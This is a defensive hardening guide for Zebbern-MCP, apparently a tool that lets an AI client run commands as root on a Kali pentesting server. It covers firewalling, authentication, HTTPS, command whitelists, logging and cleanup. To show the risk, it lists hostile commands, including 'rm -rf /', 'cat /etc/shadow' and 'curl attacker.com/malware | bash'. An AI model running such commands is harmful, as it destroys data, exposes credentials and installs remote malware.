Security considerations and hardening recommendations for Zebbern-MCP.
!!! danger "Critical Warning"
Zebbern-MCP is a powerful penetration testing tool that provides **unrestricted command execution** on the Kali server.
**By default, the API has no authentication.**
Only use this tool:
- On isolated networks
- With proper authorization
- For legitimate security testing
| Component | Default State | Risk Level |
|---|---|---|
| API Authentication | None | 🔴 Critical |
| HTTPS | Disabled | 🔴 Critical |
| Command Execution | Unrestricted | 🔴 Critical |
| Network Binding | 0.0.0.0 (all interfaces) |
🟠 High |
| Database Encryption | None | 🟡 Medium |
Recommended Network Setup:
┌─────────────────────────────────────────────────────────────────┐
│ ISOLATED LAB NETWORK │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Your PC │ │ Kali VM │ │ Targets │ │
│ │ │◄──────►│ │◄──────►│ │ │
│ │ Host-Only │ │ Host-Only │ │ Host-Only │ │
│ │ │ │ + NAT │ │ │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
│ NOT connected to: │
│ - Corporate network │
│ - Production systems │
│ - Internet (except for updates) │
│ │
└─────────────────────────────────────────────────────────────────┘
Restrict API Access:
# Only allow from specific IP
sudo ufw default deny incoming
sudo ufw allow from 192.168.56.1 to any port 5000
# Or specific subnet
sudo ufw allow from 192.168.56.0/24 to any port 5000
# Enable firewall
sudo ufw enableBlock External Access:
# If using NAT, block API port from WAN
sudo iptables -A INPUT -p tcp --dport 5000 -i eth0 -j DROPEdit kali_server.py to bind only to host-only interface:
# Instead of
app.run(host="0.0.0.0", port=5000)
# Use specific IP
app.run(host="192.168.56.100", port=5000)Create a simple authentication middleware:
# In kali_server.py
from functools import wraps
from flask import request, jsonify
API_KEY = "your-secure-random-key-here"
def require_api_key(f):
@wraps(f)
def decorated(*args, **kwargs):
key = request.headers.get('X-API-Key')
if key != API_KEY:
return jsonify({"error": "Unauthorized"}), 401
return f(*args, **kwargs)
return decorated
# Apply to routes
@app.route("/api/exec", methods=["POST"])
@require_api_key
def exec_command():
...Generate Self-Signed Certificate:
cd /opt/zebbern-kali
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodesUpdate kali_server.py:
if __name__ == "__main__":
app.run(
host="0.0.0.0",
port=5000,
ssl_context=('cert.pem', 'key.pem')
)Update MCP client:
{
"args": ["mcp_server.py", "--server", "https://192.168.1.100:5000"]
}Instead of exposing the API directly:
# On your machine, create SSH tunnel
ssh -L 5000:localhost:5000 kali@192.168.1.100
# Configure MCP to use localhost
{
"args": ["mcp_server.py", "--server", "http://localhost:5000"]
}The /api/exec endpoint allows any command to run as root:
# These are all possible via the API:
rm -rf /
cat /etc/shadow
curl attacker.com/malware | bashAdd a whitelist of allowed commands:
ALLOWED_COMMANDS = [
"nmap", "gobuster", "dirb", "nikto", "sqlmap",
"nuclei", "httpx", "subfinder", "ffuf"
]
def validate_command(command):
cmd_base = command.split()[0]
if cmd_base not in ALLOWED_COMMANDS:
raise ValueError(f"Command {cmd_base} not allowed")import logging
logging.basicConfig(
filename='/var/log/kali-mcp.log',
level=logging.INFO,
format='%(asctime)s - %(message)s'
)
def log_command(command, user_ip):
logging.info(f"Command from {user_ip}: {command}")The SQLite database stores discovered credentials:
/opt/zebbern-kali/database/pentest.db
Protect the database:
# Restrict permissions
chmod 600 /opt/zebbern-kali/database/pentest.db
chown root:root /opt/zebbern-kali/database/pentest.dbConsider encrypting credentials before storage:
from cryptography.fernet import Fernet
key = Fernet.generate_key() # Store securely!
cipher = Fernet(key)
def encrypt_password(password):
return cipher.encrypt(password.encode()).decode()
def decrypt_password(encrypted):
return cipher.decrypt(encrypted.encode()).decode()# Export data first
curl http://localhost:5000/api/db/export > backup.json
# Then clear database
rm /opt/zebbern-kali/database/pentest.dbSSH keys used for sessions are sensitive:
# Store keys securely
chmod 600 ~/.ssh/id_rsaActive Metasploit sessions provide shell access:
# Destroy all sessions when done
# Via MCP: msf_session_destroy_all()Active listeners can be exploited:
# List active listeners
curl http://localhost:5000/api/shell/listeners
# Stop all when not needed
curl -X DELETE http://localhost:5000/api/shell/listeners/all!!! warning "Legal Compliance"
Always obtain written authorization before testing:
- Signed penetration test agreement
- Defined scope and rules of engagement
- Emergency contacts
- Liability coverage
Use evidence tools to create audit trail:
# Log all actions
evidence_add_note(
title="Scan Started",
content="Starting nmap scan on 192.168.1.0/24",
tags=["audit", "scan"]
)For external engagements:
# Create scheduled job to stop service
echo "systemctl stop kali-mcp" | at 18:00- Use SSH tunnels for remote access
- VPN into lab networks
- Never expose API to internet
| Data Type | Retention | Handling |
|---|---|---|
| Scan outputs | Duration of engagement | Encrypt, delete after |
| Credentials | Immediate use only | Never store plaintext |
| Screenshots | Until report delivery | Secure storage |
| Evidence | Per agreement | Secure deletion |
Enable comprehensive logging:
# Log format for compliance
logging.info(f"""
AUDIT: {
'timestamp': datetime.now().isoformat(),
'user': request.remote_addr,
'action': 'command_execution',
'command': command,
'result': 'success/failure'
}
""")-
Immediately stop service:
sudo systemctl stop kali-mcp
-
Isolate VM:
- Disconnect network
- Take snapshot for forensics
-
Review logs:
sudo journalctl -u kali-mcp --since "24 hours ago" -
Check for unauthorized access:
last cat /var/log/auth.log
-
Rebuild from clean state:
- Restore from known-good snapshot
- Change all credentials
Before using Zebbern-MCP:
- Kali VM is on isolated network
- Firewall restricts API access
- HTTPS enabled (or SSH tunnel)
- API authentication enabled
- Written authorization obtained
- Scope clearly defined
- Logging enabled
- Cleanup procedures documented
During engagement:
- All commands logged
- Evidence collected properly
- Sessions tracked
- Regular saves of progress
After engagement:
- All sessions destroyed
- Listeners stopped
- Database exported and secured
- VM cleaned or destroyed
- Evidence delivered securely
┌─────────────────────────────────────────────────────────────────┐
│ SECURE DEPLOYMENT │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ SSH Tunnel ┌─────────────────────┐ │
│ │ Your PC │────────────────────►│ Jump Server │ │
│ │ (VPN only) │ │ (hardened) │ │
│ └─────────────┘ └──────────┬──────────┘ │
│ │ │
│ Isolated│Network │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ Kali VM │ │
│ │ - No internet │ │
│ │ - Auth enabled │ │
│ │ - Logging on │ │
│ └─────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘